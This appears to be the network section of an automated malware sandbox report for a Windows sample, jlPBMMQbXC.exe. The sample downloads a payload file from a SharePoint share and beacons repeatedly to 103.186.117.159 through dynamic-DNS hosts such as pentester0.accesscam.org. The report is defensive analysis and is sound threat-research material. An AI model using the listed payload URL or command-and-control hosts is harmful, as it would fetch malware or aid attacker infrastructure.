Nov 26, 2024 08:13:59.329932928 CET	13939	49824	103.186.117.159	192.168.2.9
Nov 26, 2024 08:13:59.329993963 CET	49824	13939	192.168.2.9	103.186.117.159
Nov 26, 2024 08:13:59.330043077 CET	49824	13939	192.168.2.9	103.186.117.159
Nov 26, 2024 08:13:59.449995995 CET	13939	49824	103.186.117.159	192.168.2.9
Nov 26, 2024 08:14:00.343817949 CET	49825	56796	192.168.2.9	103.186.117.159
Nov 26, 2024 08:14:00.463900089 CET	56796	49825	103.186.117.159	192.168.2.9
Nov 26, 2024 08:14:00.467633009 CET	49825	56796	192.168.2.9	103.186.117.159
Nov 26, 2024 08:14:00.471165895 CET	49825	56796	192.168.2.9	103.186.117.159
Nov 26, 2024 08:14:00.591200113 CET	56796	49825	103.186.117.159	192.168.2.9
Nov 26, 2024 08:14:22.399354935 CET	56796	49825	103.186.117.159	192.168.2.9
Nov 26, 2024 08:14:22.399425983 CET	49825	56796	192.168.2.9	103.186.117.159
Nov 26, 2024 08:14:22.399501085 CET	49825	56796	192.168.2.9	103.186.117.159
Nov 26, 2024 08:14:22.519511938 CET	56796	49825	103.186.117.159	192.168.2.9
Nov 26, 2024 08:14:22.957016945 CET	49826	13939	192.168.2.9	103.186.117.159
Nov 26, 2024 08:14:23.077013969 CET	13939	49826	103.186.117.159	192.168.2.9
Nov 26, 2024 08:14:23.077270031 CET	49826	13939	192.168.2.9	103.186.117.159
Nov 26, 2024 08:14:23.085474014 CET	49826	13939	192.168.2.9	103.186.117.159
Nov 26, 2024 08:14:23.206387997 CET	13939	49826	103.186.117.159	192.168.2.9
Nov 26, 2024 08:14:45.018560886 CET	13939	49826	103.186.117.159	192.168.2.9
Nov 26, 2024 08:14:45.018683910 CET	49826	13939	192.168.2.9	103.186.117.159
Nov 26, 2024 08:14:45.021219969 CET	49826	13939	192.168.2.9	103.186.117.159
Nov 26, 2024 08:14:45.142489910 CET	13939	49826	103.186.117.159	192.168.2.9
Nov 26, 2024 08:14:46.172525883 CET	49827	56796	192.168.2.9	103.186.117.159
Nov 26, 2024 08:14:46.292602062 CET	56796	49827	103.186.117.159	192.168.2.9
Nov 26, 2024 08:14:46.292860031 CET	49827	56796	192.168.2.9	103.186.117.159
Nov 26, 2024 08:14:46.295880079 CET	49827	56796	192.168.2.9	103.186.117.159
Nov 26, 2024 08:14:46.415908098 CET	56796	49827	103.186.117.159	192.168.2.9
Nov 26, 2024 08:15:08.284600019 CET	56796	49827	103.186.117.159	192.168.2.9
Nov 26, 2024 08:15:08.284779072 CET	49827	56796	192.168.2.9	103.186.117.159
Nov 26, 2024 08:15:08.284846067 CET	49827	56796	192.168.2.9	103.186.117.159
Nov 26, 2024 08:15:08.406805992 CET	56796	49827	103.186.117.159	192.168.2.9
Nov 26, 2024 08:15:08.429689884 CET	49828	13939	192.168.2.9	103.186.117.159
Nov 26, 2024 08:15:08.550430059 CET	13939	49828	103.186.117.159	192.168.2.9
Nov 26, 2024 08:15:08.550534964 CET	49828	13939	192.168.2.9	103.186.117.159
Nov 26, 2024 08:15:08.553864956 CET	49828	13939	192.168.2.9	103.186.117.159
Nov 26, 2024 08:15:08.673820972 CET	13939	49828	103.186.117.159	192.168.2.9
Nov 26, 2024 08:15:30.463327885 CET	13939	49828	103.186.117.159	192.168.2.9
Nov 26, 2024 08:15:30.463623047 CET	49828	13939	192.168.2.9	103.186.117.159
Nov 26, 2024 08:15:30.475287914 CET	49828	13939	192.168.2.9	103.186.117.159
Nov 26, 2024 08:15:30.595268011 CET	13939	49828	103.186.117.159	192.168.2.9
Nov 26, 2024 08:15:31.870356083 CET	49829	56796	192.168.2.9	103.186.117.159
Nov 26, 2024 08:15:31.995356083 CET	56796	49829	103.186.117.159	192.168.2.9
Nov 26, 2024 08:15:31.999389887 CET	49829	56796	192.168.2.9	103.186.117.159
Nov 26, 2024 08:15:32.002710104 CET	49829	56796	192.168.2.9	103.186.117.159
Nov 26, 2024 08:15:32.122813940 CET	56796	49829	103.186.117.159	192.168.2.9
Nov 26, 2024 08:15:53.925940037 CET	56796	49829	103.186.117.159	192.168.2.9
Nov 26, 2024 08:15:53.927407026 CET	49829	56796	192.168.2.9	103.186.117.159
Nov 26, 2024 08:15:53.927442074 CET	49829	56796	192.168.2.9	103.186.117.159
Nov 26, 2024 08:15:54.047488928 CET	56796	49829	103.186.117.159	192.168.2.9
Nov 26, 2024 08:15:54.496484041 CET	49830	13939	192.168.2.9	103.186.117.159
Nov 26, 2024 08:15:54.616559982 CET	13939	49830	103.186.117.159	192.168.2.9
Nov 26, 2024 08:15:54.616734028 CET	49830	13939	192.168.2.9	103.186.117.159
Nov 26, 2024 08:15:54.647855997 CET	49830	13939	192.168.2.9	103.186.117.159
Nov 26, 2024 08:15:54.767849922 CET	13939	49830	103.186.117.159	192.168.2.9
Nov 26, 2024 08:16:16.567248106 CET	13939	49830	103.186.117.159	192.168.2.9
Nov 26, 2024 08:16:16.567389965 CET	49830	13939	192.168.2.9	103.186.117.159
Nov 26, 2024 08:16:16.567445993 CET	49830	13939	192.168.2.9	103.186.117.159
Nov 26, 2024 08:16:16.687678099 CET	13939	49830	103.186.117.159	192.168.2.9
Nov 26, 2024 08:16:19.202837944 CET	49831	56796	192.168.2.9	103.186.117.159
Nov 26, 2024 08:16:19.322972059 CET	56796	49831	103.186.117.159	192.168.2.9
Nov 26, 2024 08:16:19.323245049 CET	49831	56796	192.168.2.9	103.186.117.159
Nov 26, 2024 08:16:19.326312065 CET	49831	56796	192.168.2.9	103.186.117.159
Nov 26, 2024 08:16:19.446484089 CET	56796	49831	103.186.117.159	192.168.2.9

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 26, 2024 08:12:11.334064960 CET	51301	53	192.168.2.9	1.1.1.1
Nov 26, 2024 08:12:19.968487024 CET	59811	53	192.168.2.9	1.1.1.1
Nov 26, 2024 08:12:20.395488977 CET	53	59811	1.1.1.1	192.168.2.9
Nov 26, 2024 08:12:28.738857031 CET	55017	53	192.168.2.9	1.1.1.1
Nov 26, 2024 08:12:29.074512959 CET	53	55017	1.1.1.1	192.168.2.9
Nov 26, 2024 08:12:41.249989033 CET	52405	53	192.168.2.9	1.1.1.1
Nov 26, 2024 08:12:41.401722908 CET	53	52405	1.1.1.1	192.168.2.9
Nov 26, 2024 08:12:51.162787914 CET	62360	53	192.168.2.9	1.1.1.1
Nov 26, 2024 08:12:51.397284985 CET	53	62360	1.1.1.1	192.168.2.9
Nov 26, 2024 08:12:51.422683001 CET	52115	53	192.168.2.9	1.1.1.1
Nov 26, 2024 08:12:51.738557100 CET	53	52115	1.1.1.1	192.168.2.9
Nov 26, 2024 08:13:37.109226942 CET	50249	53	192.168.2.9	1.1.1.1
Nov 26, 2024 08:13:37.249089956 CET	53	50249	1.1.1.1	192.168.2.9
Nov 26, 2024 08:14:22.400125027 CET	55115	53	192.168.2.9	1.1.1.1
Nov 26, 2024 08:14:22.631006002 CET	53	55115	1.1.1.1	192.168.2.9
Nov 26, 2024 08:14:22.632741928 CET	65081	53	192.168.2.9	1.1.1.1
Nov 26, 2024 08:14:22.956145048 CET	53	65081	1.1.1.1	192.168.2.9
Nov 26, 2024 08:14:46.030692101 CET	54261	53	192.168.2.9	1.1.1.1
Nov 26, 2024 08:14:46.171729088 CET	53	54261	1.1.1.1	192.168.2.9
Nov 26, 2024 08:15:08.285502911 CET	51912	53	192.168.2.9	1.1.1.1
Nov 26, 2024 08:15:08.428000927 CET	53	51912	1.1.1.1	192.168.2.9
Nov 26, 2024 08:15:31.484304905 CET	62051	53	192.168.2.9	1.1.1.1
Nov 26, 2024 08:15:31.866789103 CET	53	62051	1.1.1.1	192.168.2.9
Nov 26, 2024 08:15:53.928049088 CET	59618	53	192.168.2.9	1.1.1.1
Nov 26, 2024 08:15:54.157521009 CET	53	59618	1.1.1.1	192.168.2.9
Nov 26, 2024 08:15:54.160147905 CET	51793	53	192.168.2.9	1.1.1.1
Nov 26, 2024 08:15:54.466357946 CET	53	51793	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 26, 2024 08:12:11.334064960 CET	192.168.2.9	1.1.1.1	0x5724	Standard query (0)	alfanar01-my.sharepoint.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:12:19.968487024 CET	192.168.2.9	1.1.1.1	0xd48c	Standard query (0)	lightstone.ae	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:12:28.738857031 CET	192.168.2.9	1.1.1.1	0x55aa	Standard query (0)	pentester0.accesscam.org	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:12:41.249989033 CET	192.168.2.9	1.1.1.1	0xfbd8	Standard query (0)	pentester0.accesscam.org	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:12:51.162787914 CET	192.168.2.9	1.1.1.1	0x1c19	Standard query (0)	archived.zapto.org	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:12:51.422683001 CET	192.168.2.9	1.1.1.1	0x48ee	Standard query (0)	honeypotresearchteam.duckdns.org	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:13:37.109226942 CET	192.168.2.9	1.1.1.1	0x8807	Standard query (0)	archived.zapto.org	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:14:22.400125027 CET	192.168.2.9	1.1.1.1	0xf772	Standard query (0)	archived.zapto.org	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:14:22.632741928 CET	192.168.2.9	1.1.1.1	0x82a8	Standard query (0)	honeypotresearchteam.duckdns.org	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:14:46.030692101 CET	192.168.2.9	1.1.1.1	0x7185	Standard query (0)	pentester0.accesscam.org	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:15:08.285502911 CET	192.168.2.9	1.1.1.1	0x4be6	Standard query (0)	archived.zapto.org	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:15:31.484304905 CET	192.168.2.9	1.1.1.1	0x766b	Standard query (0)	pentester0.accesscam.org	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:15:53.928049088 CET	192.168.2.9	1.1.1.1	0x63ce	Standard query (0)	archived.zapto.org	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:15:54.160147905 CET	192.168.2.9	1.1.1.1	0x66d5	Standard query (0)	honeypotresearchteam.duckdns.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 26, 2024 08:12:12.122469902 CET	1.1.1.1	192.168.2.9	0x5724	No error (0)	alfanar01-my.sharepoint.com	alfanar01.sharepoint.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:12:12.122469902 CET	1.1.1.1	192.168.2.9	0x5724	No error (0)	alfanar01.sharepoint.com	13828-ipv4v6e.clump.dprodmgd104.aa-rt.sharepoint.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:12:12.122469902 CET	1.1.1.1	192.168.2.9	0x5724	No error (0)	13828-ipv4v6e.clump.dprodmgd104.aa-rt.sharepoint.com	189749-ipv4v6e.farm.dprodmgd104.aa-rt.sharepoint.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:12:12.122469902 CET	1.1.1.1	192.168.2.9	0x5724	No error (0)	189749-ipv4v6e.farm.dprodmgd104.aa-rt.sharepoint.com	189749-ipv4v6e.farm.dprodmgd104.sharepointonline.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:12:12.122469902 CET	1.1.1.1	192.168.2.9	0x5724	No error (0)	189749-ipv4v6.farm.dprodmgd104.aa-rt.sharepoint.com.dual-spo-0005.spo-msedge.net	dual-spo-0005.spo-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:12:12.122469902 CET	1.1.1.1	192.168.2.9	0x5724	No error (0)	dual-spo-0005.spo-msedge.net		13.107.136.10	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:12:12.122469902 CET	1.1.1.1	192.168.2.9	0x5724	No error (0)	dual-spo-0005.spo-msedge.net		13.107.138.10	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:12:20.395488977 CET	1.1.1.1	192.168.2.9	0xd48c	No error (0)	lightstone.ae		162.19.139.102	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:12:29.074512959 CET	1.1.1.1	192.168.2.9	0x55aa	No error (0)	pentester0.accesscam.org		103.186.117.159	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:12:41.401722908 CET	1.1.1.1	192.168.2.9	0xfbd8	No error (0)	pentester0.accesscam.org		103.186.117.159	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:12:51.738557100 CET	1.1.1.1	192.168.2.9	0x48ee	No error (0)	honeypotresearchteam.duckdns.org		103.186.117.159	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:14:22.956145048 CET	1.1.1.1	192.168.2.9	0x82a8	No error (0)	honeypotresearchteam.duckdns.org		103.186.117.159	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:14:46.171729088 CET	1.1.1.1	192.168.2.9	0x7185	No error (0)	pentester0.accesscam.org		103.186.117.159	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:15:31.866789103 CET	1.1.1.1	192.168.2.9	0x766b	No error (0)	pentester0.accesscam.org		103.186.117.159	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:15:54.466357946 CET	1.1.1.1	192.168.2.9	0x66d5	No error (0)	honeypotresearchteam.duckdns.org		103.186.117.159	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

alfanar01-my.sharepoint.com

lightstone.ae

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49723	13.107.136.10	443	7280	C:\Users\user\Desktop\jlPBMMQbXC.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:12:14 UTC	265	OUT	GET /:u:/g/personal/huzaifa_alfanargas_com/EbcBi98Fae9PrYH7LpmiSQMBlKcC8bPaqfGiqmGYrLTf6w?e=8qbxqz&download=1 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: alfanar01-my.sharepoint.com
2024-11-26 07:12:15 UTC	3663	IN	HTTP/1.1 302 Found Cache-Control: private Content-Length: 180 Content-Type: text/html; charset=utf-8 Location: /personal/huzaifa_alfanargas_com/Documents/233_Selebzihtih?ga=1 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2Q3NzQ2ZGY2NmVlODk4Nzc5MTI0YzAxMTEwNWZkZTJlZTgyZTI3NTUzNGMwNmMyMjBiOWNlZjQyNGMxNzNjMzAsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jZDc3NDZkZjY2ZWU4OTg3NzkxMjRjMDExMTA1ZmRlMmVlODJlMjc1NTM0YzA2YzIyMGI5Y2VmNDI0YzE3M2MzMCwxMzM3NzA3OTAzNDAwMDAwMDAsMCwxMzM3NzE2NTEzNDk3ODEzMTksMC4wLjAuMCwyNTgsOTE3NDIwNjMtZmNjYy00Y2JhLWIzNGItNjliZTU0ZTQ4NGU4LCwsZDE5NzY3YTEtNzBmOS1hMDAwLTcwZGMtNmI4OGUwYmM1NThkLGQxOTc2N2ExLTcwZjktYTAwMC03MGRjLTZiODhlMGJjNTU4ZCxMMEhrZGdUY3pVcTFOaGcwM2VZM2ZRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxODk3NDksdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGlQNFZYR2cwTkFVRFJwaHJxS0ZTK1ZDM3RFT0dkTnVqeWhZaGRkNm4yMVJqVUxIYjVQUE9QQkY3SkgyczF3cWZtU0RrTWQzanV2My82RzlEWTRrdE9vbzQ0VnAvb085WE1iL2ExSnBJWVBieHFab3Z4bm9tSk5YVWYwK0Vwd3VHU2pzOEROSitPOExnUGlYeGtYV2hLMGY0YTNpZXRqOUJNTWJTWXJiYXBJc0pMZEk0YlI2MXhFZjhvK242TmJZM0s0VmNXOEJ0Sk5MZzhpZEJIQVdFOVlFZVhKY3pZMk1OQkpHcElMRzcvczFRODVla09MUVVa [TRUNCATED] X-NetworkStatistics: 0,525568,0,0,140,0,26331,60 X-SharePointHealthScore: 1 X-MS-SPO-CookieValidator: iP4VXGg0NAUDRphrqKFS+VC3tEOGdNujyhYhdd6n21RjULHb5PPOPBF7JH2s1wqfmSDkMd3juv3/6G9DY4ktOoo44Vp/oO9XMb/a1JpIYPbxqZovxnomJNXUf0+EpwuGSjs8DNJ+O8LgPiXxkXWhK0f4a3ietj9BMMbSYrbapIsJLdI4bR61xEf8o+n6NbY3K4VcW8BtJNLg8idBHAWE9YEeXJczY2MNBJGpILG7/s1Q85ekOLQUZr09Nig9F8bR1F/E7YPWSYrlDxpc+HpMYgbFzpDDB42BvANtaEKt0HSI/BDIQ1x6ceGgA2CojNHB8xhV2vO1N9YmighH5ndVnQ== X-AspNet-Version: 4.0.30319 X-DataBoundary: EU X-1DSCollectorUrl: https://eu-mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://eu-mobile.events.data.microsoft.com/Collector/3.0 SPRequestGuid: d19767a1-70f9-a000-70dc-6b88e0bc558d request-id: d19767a1-70f9-a000-70dc-6b88e0bc558d MS-CV: oWeX0flwAKBw3GuI4LxVjQ.0 Alt-Svc: h3=":443";ma=86400 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=91742063-fccc-4cba-b34b-69be54e484e8&desusertionEndpoint=Edge-Prod-EWR31r5c&frontEnd=AFD&RemoteIP=8.46.123.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com app.powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 269 SPIisLatency: 4 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25430 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 05748EF33E884D8AAFC9C39AD45AA39D Ref B: EWR311000105037 Ref C: 2024-11-26T07:12:14Z Date: Tue, 26 Nov 2024 07:12:14 GMT Connection: close
2024-11-26 07:12:15 UTC	180	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 70 65 72 73 6f 6e 61 6c 2f 68 75 7a 61 69 66 61 5f 61 6c 66 61 6e 61 72 67 61 73 5f 63 6f 6d 2f 44 6f 63 75 6d 65 6e 74 73 2f 32 33 33 5f 53 65 6c 65 62 7a 69 68 74 69 68 3f 67 61 3d 31 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/personal/huzaifa_alfanargas_com/Documents/233_Selebzihtih?ga=1">here</a>.</h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49729	13.107.136.10	443	7280	C:\Users\user\Desktop\jlPBMMQbXC.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:12:16 UTC	1385	OUT	GET /personal/huzaifa_alfanargas_com/Documents/233_Selebzihtih?ga=1 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: alfanar01-my.sharepoint.com Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2Q3NzQ2ZGY2NmVlODk4Nzc5MTI0YzAxMTEwNWZkZTJlZTgyZTI3NTUzNGMwNmMyMjBiOWNlZjQyNGMxNzNjMzAsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jZDc3NDZkZjY2ZWU4OTg3NzkxMjRjMDExMTA1ZmRlMmVlODJlMjc1NTM0YzA2YzIyMGI5Y2VmNDI0YzE3M2MzMCwxMzM3NzA3OTAzNDAwMDAwMDAsMCwxMzM3NzE2NTEzNDk3ODEzMTksMC4wLjAuMCwyNTgsOTE3NDIwNjMtZmNjYy00Y2JhLWIzNGItNjliZTU0ZTQ4NGU4LCwsZDE5NzY3YTEtNzBmOS1hMDAwLTcwZGMtNmI4OGUwYmM1NThkLGQxOTc2N2ExLTcwZjktYTAwMC03MGRjLTZiODhlMGJjNTU4ZCxMMEhrZGdUY3pVcTFOaGcwM2VZM2ZRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxODk3NDksdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGlQNFZYR2cwTkFVRFJwaHJxS0ZTK1ZDM3RFT0dkTnVqeWhZaGRkNm4yMVJqVUxIYjVQUE9QQkY3SkgyczF3cWZtU0RrTWQzanV2My82RzlEWTRrdE9vbzQ0VnAvb085WE1iL2ExSnBJWVBieHFab3Z4bm9tSk5YVWYwK0Vwd3VHU2pzOEROSitPOExnUGlYeGtYV2hLMGY0YTNpZXRqOUJNTWJTWXJiYXBJc0pMZEk0YlI2MXhFZjhvK242TmJZM0s0VmNXOEJ0Sk5MZzhpZEJIQVdFOVlFZVhKY3pZMk1OQkpHcElMRzcvczFRODVla09MUVVacjA5 [TRUNCATED]
2024-11-26 07:12:17 UTC	4809	IN	HTTP/1.1 200 OK Cache-Control: private,max-age=0 Content-Length: 1072224 Content-Type: application/octet-stream Expires: Mon, 11 Nov 2024 07:12:17 GMT Last-Modified: Mon, 16 Sep 2024 04:41:15 GMT Accept-Ranges: bytes ETag: "{DF8B01B7-6905-4FEF-AD81-FB2E99A24903},2" P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2Q3NzQ2ZGY2NmVlODk4Nzc5MTI0YzAxMTEwNWZkZTJlZTgyZTI3NTUzNGMwNmMyMjBiOWNlZjQyNGMxNzNjMzAsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jZDc3NDZkZjY2ZWU4OTg3NzkxMjRjMDExMTA1ZmRlMmVlODJlMjc1NTM0YzA2YzIyMGI5Y2VmNDI0YzE3M2MzMCwxMzM3NzA3OTAzNDAwMDAwMDAsMCwxMzM3NzE2NTEzNDk3ODEzMTksMC4wLjAuMCwyNTgsOTE3NDIwNjMtZmNjYy00Y2JhLWIzNGItNjliZTU0ZTQ4NGU4LCwsZDE5NzY3YTEtNzBmOS1hMDAwLTcwZGMtNmI4OGUwYmM1NThkLGQxOTc2N2ExLTcwZjktYTAwMC03MGRjLTZiODhlMGJjNTU4ZCxMMEhrZGdUY3pVcTFOaGcwM2VZM2ZRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxODk3NDksdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGlQNFZYR2cwTkFVRFJwaHJxS0ZTK1ZDM3RFT0dkTnVqeWhZaGRkNm4yMVJqVUxIYjVQUE9QQkY3SkgyczF3cWZtU0RrTWQzanV2My82RzlEWTRrdE9vbzQ0VnAvb085WE1iL2ExSnBJWVBieHFab3Z4bm9tSk5YVWYwK0Vwd3VHU2pzOEROSitPOExnUGlYeGtYV2hLMGY0YTNpZXRqOUJNTWJTWXJiYXBJc0pMZEk0YlI2MXhFZjhvK242TmJZM0s0VmNXOEJ0Sk5MZzhpZEJIQVdFOVlFZVhKY3pZMk1OQkpHcElMRzcvczFRODVla09MUVVa [TRUNCATED] Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2Q3NzQ2ZGY2NmVlODk4Nzc5MTI0YzAxMTEwNWZkZTJlZTgyZTI3NTUzNGMwNmMyMjBiOWNlZjQyNGMxNzNjMzAsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jZDc3NDZkZjY2ZWU4OTg3NzkxMjRjMDExMTA1ZmRlMmVlODJlMjc1NTM0YzA2YzIyMGI5Y2VmNDI0YzE3M2MzMCwxMzM3NzA3OTAzNDAwMDAwMDAsMCwxMzM3NzE2NTEzNDk3ODEzMTksMC4wLjAuMCwyNTgsOTE3NDIwNjMtZmNjYy00Y2JhLWIzNGItNjliZTU0ZTQ4NGU4LCwsZDE5NzY3YTEtNzBmOS1hMDAwLTcwZGMtNmI4OGUwYmM1NThkLGQxOTc2N2ExLTcwZjktYTAwMC03MGRjLTZiODhlMGJjNTU4ZCxMMEhrZGdUY3pVcTFOaGcwM2VZM2ZRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxODk3NDksdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGlQNFZYR2cwTkFVRFJwaHJxS0ZTK1ZDM3RFT0dkTnVqeWhZaGRkNm4yMVJqVUxIYjVQUE9QQkY3SkgyczF3cWZtU0RrTWQzanV2My82RzlEWTRrdE9vbzQ0VnAvb085WE1iL2ExSnBJWVBieHFab3Z4bm9tSk5YVWYwK0Vwd3VHU2pzOEROSitPOExnUGlYeGtYV2hLMGY0YTNpZXRqOUJNTWJTWXJiYXBJc0pMZEk0YlI2MXhFZjhvK242TmJZM0s0VmNXOEJ0Sk5MZzhpZEJIQVdFOVlFZVhKY3pZMk1OQkpHcElMRzcvczFRODVla09MUVVa [TRUNCATED] X-NetworkStatistics: 0,525568,0,0,138,0,26343,60 X-SharePointHealthScore: 3 ResourceTag: rt:DF8B01B7-6905-4FEF-AD81-FB2E99A24903@00000000002 Content-Disposition: attachment; filename=utf-8''233%5fSelebzihtih; filename="233_Selebzihtih" X-Download-Options: noopen Public-Extension: http://schemas.microsoft.com/repl-2 X-DataBoundary: EU X-1DSCollectorUrl: https://eu-mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://eu-mobile.events.data.microsoft.com/Collector/3.0 SPRequestGuid: d29767a1-8095-a000-c2b2-b5b965e43a56 request-id: d29767a1-8095-a000-c2b2-b5b965e43a56 MS-CV: oWeX0pWAAKDCsrW5ZeQ6Vg.0 Alt-Svc: h3=":443";ma=86400 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=91742063-fccc-4cba-b34b-69be54e484e8&desusertionEndpoint=Edge-Prod-EWR31r5b&frontEnd=AFD&RemoteIP=8.46.123.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com app.powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 390 SPIisLatency: 1 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25430 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 662CC01130A04806A28BD6E7207688DF Ref B: EWR311000104033 Ref C: 2024-11-26T07:12:17Z Date: Tue, 26 Nov 2024 07:12:17 GMT Connection: close
